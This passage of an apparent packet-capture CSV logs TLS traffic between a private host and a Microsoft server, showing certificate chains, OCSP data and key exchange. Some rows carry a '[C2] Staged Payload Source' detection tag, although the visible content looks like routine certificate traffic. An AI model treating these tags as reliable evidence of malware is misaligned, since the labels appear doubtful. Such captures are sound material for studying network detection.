..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n250521000000Z.\n290619235959Z0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0\n.\t*.H..\n..........0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@......\n....t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9..\t.3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.\t...m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n\t......8B4.i....s..C.C.X.O....=.:@8.....d..c...U\tZ....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0\n.\t*.H..\n.............+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B\tx...e.. P...j:...H...\t.....u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg\t..L...+.\"\"=}....c8,.V..\tR....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0.\t+.....0.....!0...0.......E.]...t..x.!.eH...Z..20260613144753Z0..0..0L0\t..+...........j\t...m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613141309Z....20260621143309Z. 0.0..\t+.....7.....\n260617142309Z0\n.\t*.H..\n..........|$.]kI.W..e.........`...8.lQ.....#...:..\nD...L.`..._i..M.q.;..g*.f....(.a...U.$..|P.o.....4trGg..a..0..f...2.....cg/S_......(<.q...O.z.6%....Q.ar...X$.O.......6.N...y.......?Mw...bT.Zi....2..3.g..Z:.b..F...Ye$1.........Y.g`3tO>.KRf..TO...5.Z...-d...*...\\.\"\"...=0..90..50..........C.YIK.\nkw(.]....YIK0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260612155022Z.\n260712155022Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0\n.\t*.H..\n..........0..\n......~k..O..].uR.p..6..*9V.+e.L......Qf%{\\...^..s...u|z..f:..J.......?...Uu...s].....i..E.#...V..g.......h...f..Q..)..yZ..;.......,.Y...[.<..5Q....L.d......;,i..P...P...5...w..G%..t.B.....;.e........a..yZf.Q..+lV,.N...,.D;-..x...C.;...AP......I...k.....bvX.wv.........0..0...U.......0.0...U.%..0\n..+......\t0...U.......E.]...t..x.!.eH...Z0...U.#..0...T.....}.....4dDg.u.e0...U...........0<.\t+.....7.../0-.%+.....7.........F...........]...\"\"......d...0..\t+.....7.\n..0.0\n..+......\t0..\t+.....0......0\n.\t*.H..\n..........O..qRq..D.U..e..l...X...Ch.6...\"\".\n..xM&.p.|.M.....6qu.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3944, \"\"id\"\": 24158, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 61935, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259382996, \"\"ack\"\": 4093516367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 60060, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"0c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414ce45ae5dc399c474b31f7881210e6548c1d1965a180f32303236303631333134343735335a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333134313330395aa011180f32303236303632313134333330395aa120301e301c06092b0601040182371504040f170d3236303631373134323330395a300d06092a864886f70d01010b050003820101007c24f75d6b49ab57adbf65dc9bda9a05dda5a31c60d3c6e038ff6c5199c088b3eb23eee8cd3ac9830d440391914ccd60ce10b55f69e0f34dcb71063b8ace672abe66ba820fc6288361dbb99055ab24b4bd7c50f26fb41e9dc18d3474724767f3a461dfb030f1e166f602c332888fa601a663672f535fa8ba06acfb11283ca3718e90024fdc7aa636258390dae1519b617219c7a95824a14f029ba4aee90fa436124eeeaada79fefcc1f297ad003f4d77d30fc16254085a69faf2b48a32f20333f36785d55a3a1362d8fd46ddf1fd59652431d8881ca9ae8a95ee125900676033744f3eac4b5266b683544fcacf9335e75a05d2f22d64fec1902ae9f1f45c1122a082053d30820539308205353082031da0030201020213430059494b100d6b7728df5dec00000059494b300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb7e6bd0af4f91895db07552c1701ea2368b9f2a3956022b65e14ca2ab0c8edae05166257b5c2ebf025ec8f973c1fe86757c7ab080663aff1a4ae8e9b5d3ae7f8b3ffdd7f8557580fefc735de7f5d99bd469cde645c723e1abe456d21e67abe101d2ecacfc68ab2ecf66c20351f0c329cfcd795a9db73bf40cffd8ced2e32c135981e5145b9e3cc5ea3551ce939e1f4cbc6484939e91cc933b2c69b48b500f849850e310bd35b0a58777bf154725c1fe74a442958acb15ca3bc565f918ebdfd9c2b61e61921d795a668751b6eb2b6c562cb04ee807c62ca0443b2d9cae789cff9643143b88d8aa4150c3fee0051db349ab13ad6b04a5b5e495627658f97776910203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414ce45ae5dc399c474b31f7881210e6548c1d1965a301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004f8590715271e017448e55f40f65c8a16c8f838558c891da43681236e10bd222fa0d81a6784d26c970867ce24d94af2eadcb367175b3\"\"}}]\"\n2026-06-14 14:16:53.449521,95,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516367 Ack=2259386900,bc24112907bbbc2411360d0c080045000028f1e8400080062da50a98980b2862103dfa0501bbf3fe1a4f86ab821450100400bdc30000,\".$.)...$.6\n...E..(..@...-.\n...(b.=.......O....P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61928, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11685, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516367, \"\"ack\"\": 2259386900, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 48579, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.460173,96,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2259386900 Ack=4093516367,bc2411360d0cbc24112907bb0800450003635e6140004006fdf12862103d0a98980b01bbfa0586ab8214f3fe1a4f5018003fde970000a40c881023930c5dab50ddbb456d7a96001bd8f398601fd7ca7c9c7005467dccc46d5ffccc7502b8b9ff6b78a65bc1740110a2eddfeef82a030398f48f96c185b6c161a32772a4d61f04e33fe5d99139e5b543464ba3997bb2cb93451e1088883c765cf3b4c832700e4e93d4f52940ec5837b044284591e6365ec5a6a5ae4787469be100bcadcfd46d19b5b304d3745559f2b32e2ce50e62816b5dd1853839aeb55700982c085c5cb5815f216d8bfdb12218184023e01df95138f59d114926da55cae2d27e2fdc52dae977380e17c41376a2e6ac000d57befff2be520d0a9b3733d48e03818d7fe0a51db7a7807275e9220400706d582796b362f58ff2236bd1bffbd280446ba7b2e8a325504f84e492a2d08d9e02174306920bd837d171c2a7df30e53945b62b408f32cc11ddab185ce3a067e81158041ad8f56a44b87a9be51027d945bb720974a936e152a45a606d1c2f198112639d8b8069d83cf9f54740fb88841af907463dccf9be718eb59698af2d8b5a6d86f096aecf7c1f8cbf5a1f626127e8ea0cff40881cbb752edc1ae4618a9526ad7d83e1c7fc75a843d6305d1de5e620fc174beea83cdc5f618e9b52b67ca5803940afd057f5de32657daed6956663fc5873be301e580c0001690300186104f65a8c4b3709c15f7995ebdf797e2cd2955beadd4d4e989f7e959e74239db135db781641e23e43dda842ef615729192f92ad3fca1f35f3b016ea9e50a01cd379757297bf6aef4b949d531bf453bc60d415ec990f145cae6664dd60e5db3d778b080401006e106bd8bfdff0c0660d2a984cd86771abeb624ad4ffc70bc3e45f22e0a21ba4acb90c176fcb2f98c8f7c69be1e7bcf079ef5489e02b95d61de75cb37f865915b6cd6dd139326b95c20cc2927894f716b463fe0877623231ecb4cca8cb376c39945d85685ef33ad52ed9b9f135e11664f4efbd06a15d1737773cb121944b06050d9feb7a29025da6af2ec581631f951fcf42cd2df798a2cc4713ec76f2e242920d064da913f1cef3708ff533ce9a5dec575754e93a0b0aea8c59f09b9186313dfed8576271f9a5a0d82ddb6cf0d3309d10a9c21baaf80e41675390e05c8cb836223448659fa361d2f6deae975e77878c56abf7d6f29904f46e35c2012f6635d80e000000,\"....#..].P..Emz......`...|.p.F}..m_..u....kx.[.t.......*..........a.'r.....?...9..CFK..{...E....<v\\...2p.N...)@.X7.D(E..6^....G.F.......m.....tUY...,..b.k]..89..W..,.\\\\.._!m...\"\"..@#...Q8...I&.U...~/.R..w8....v....\nW....R\n.73............ru.\"\"..pmX'..b...#k.....Dk....%PO.........C....7.q...0.9E.+@.2.....\\..g..X....jD.z...'.E.r\tt.6.R.Z`m./...c...i.<..G@......F=...q.....-.Zm.....|...Z.ba'....@...u....a..&.}....u.C.0]... ..K..<._a..R.|..9@..W..2e}...fc.Xs.0.X...i...a..Z.K7\t._y...y~,..[..MN..~..t#..5.x.A.>C..B.aW)./..?..5.....P...yur..j.K..S..S.`......\\.fd.`..=w.....n.k.....f\n*.L.gq..bJ......_\"\"........o./.........y.T..+....\\...Y...m.92k.....x....c..wb21.....7l9.].h^.:.....5..d.....].7w<.!.K..\n..z).].....c....B.-....G..v..B.\n.M.....p..3..].WWT.:.\n..Y....1=..Wbq....-.l..0........AgS..\\..6\"\"4He..a.....^w..V.......n5../f5.....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 867, \"\"id\"\": 24161, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 65009, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259386900, \"\"ack\"\": 4093516367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56983, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"a40c881023930c5dab50ddbb456d7a96001bd8f398601fd7ca7c9c7005467dccc46d5ffccc7502b8b9ff6b78a65bc1740110a2eddfeef82a030398f48f96c185b6c161a32772a4d61f04e33fe5d99139e5b543464ba3997bb2cb93451e1088883c765cf3b4c832700e4e93d4f52940ec5837b044284591e6365ec5a6a5ae4787469be100bcadcfd46d19b5b304d3745559f2b32e2ce50e62816b5dd1853839aeb55700982c085c5cb5815f216d8bfdb12218184023e01df95138f59d114926da55cae2d27e2fdc52dae977380e17c41376a2e6ac000d57befff2be520d0a9b3733d48e03818d7fe0a51db7a7807275e9220400706d582796b362f58ff2236bd1bffbd280446ba7b2e8a325504f84e492a2d08d9e02174306920bd837d171c2a7df30e53945b62b408f32cc11ddab185ce3a067e81158041ad8f56a44b87a9be51027d945bb720974a936e152a45a606d1c2f198112639d8b8069d83cf9f54740fb88841af907463dccf9be718eb59698af2d8b5a6d86f096aecf7c1f8cbf5a1f626127e8ea0cff40881cbb752edc1ae4618a9526ad7d83e1c7fc75a843d6305d1de5e620fc174beea83cdc5f618e9b52b67ca5803940afd057f5de32657daed6956663fc5873be301e580c0001690300186104f65a8c4b3709c15f7995ebdf797e2cd2955beadd4d4e989f7e959e74239db135db781641e23e43dda842ef615729192f92ad3fca1f35f3b016ea9e50a01cd379757297bf6aef4b949d531bf453bc60d415ec990f145cae6664dd60e5db3d778b080401006e106bd8bfdff0c0660d2a984cd86771abeb624ad4ffc70bc3e45f22e0a21ba4acb90c176fcb2f98c8f7c69be1e7bcf079ef5489e02b95d61de75cb37f865915b6cd6dd139326b95c20cc2927894f716b463fe0877623231ecb4cca8cb376c39945d85685ef33ad52ed9b9f135e11664f4efbd06a15d1737773cb121944b06050d9feb7a29025da6af2ec581631f951fcf42cd2df798a2cc4713ec76f2e242920d064da913f1cef3708ff533ce9a5dec575754e93a0b0aea8c59f09b9186313dfed8576271f9a5a0d82ddb6cf0d3309d10a9c21baaf80e41675390e05c8cb836223448659fa361d2f6deae975e77878c56abf7d6f29904f46e35c2012f6635d80e000000\"\"}}]\"\n2026-06-14 14:16:53.460361,97,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516367 Ack=2259387727,bc24112907bbbc2411360d0c080045000028f1e9400080062da40a98980b2862103dfa0501bbf3fe1a4f86ab854f501003fcba8c0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=.......O...OP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61929, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11684, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516367, \"\"ack\"\": 2259387727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 47756, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.468756,98,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=4093516367 Ack=2259387727,bc24112907bbbc2411360d0c0800450000c6f1ea400080062d050a98980b2862103dfa0501bbf3fe1a4f86ab854f501803fc25d600001603030066100000626104f757b7d03409fc4b9ac907dba70e6b081308db5a087925152cf94f069d7e18325714af91931bf4c5dd8e743226f555375f2e31aa173b51f241efc7941cc7cce72822bc8a3d04119a3d6d7d276bd18d096343c021ff4b1809f49a2a4cd48c9eb814030300010116030300280000000000000000039b0d254434613c095191f0c167023303f3393f8f0f9fc0e017e29b458af315,\"a..W..4\t.K......k....Z.y%.,.O..~.2W.........t2&.U7_.1..;Q.A.......(\"\"..=...=m}'k..\tcC.!.K.\t..*L....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 61930, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11525, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516367, \"\"ack\"\": 2259387727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1020, \"\"chksum\"\": 9686, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\xf7W\\\\xb7\\\\xd04\\\\t\\\\xfcK\\\\x9a\\\\xc9\\\\x07\\\\xdb\\\\xa7\\\\x0ek\\\\x08\\\\x13\\\\x08\\\\xdbZ\\\\x08y%\\\\x15,\\\\xf9O\\\\x06\\\\x9d~\\\\x182W\\\\x14\\\\xaf\\\\x91\\\\x93\\\\x1b\\\\xf4\\\\xc5\\\\xdd\\\\x8et2&\\\\xf5U7_.1\\\\xaa\\\\x17;Q\\\\xf2A\\\\xef\\\\xc7\\\\x94\\\\x1c\\\\xc7\\\\xcc\\\\xe7(\\\"\"\\\\xbc\\\\x8a=\\\\x04\\\\x11\\\\x9a=m}\\\\'k\\\\xd1\\\\x8d\\\\tcC\\\\xc0!\\\\xffK\\\\x18\\\\t\\\\xf4\\\\x9a*L\\\\xd4\\\\x8c\\\\x9e\\\\xb8' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloVerifyRequest  msgtype=hello_verify_request msglen=10161445 cookielen=68 cookie=b'4a<\\\\tQ\\\\x91\\\\xf0\\\\xc1g\\\\x023\\\\x03\\\\xf39?\\\\x8f\\\\x0f\\\\x9f\\\\xc0\\\\xe0\\\\x17\\\\xe2\\\\x9bE\\\\x8a\\\\xf3\\\\x15' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.468770,99,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259387727 Ack=4093516525,bc2411360d0cbc24112907bb0800450000285e6240004006012c2862103d0a98980b01bbfa0586ab854ff3fe1aed5010003fdb5c0000,\".$.6\n..$.)....E..(^b@.@..,(b.=\n..........O....P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24162, 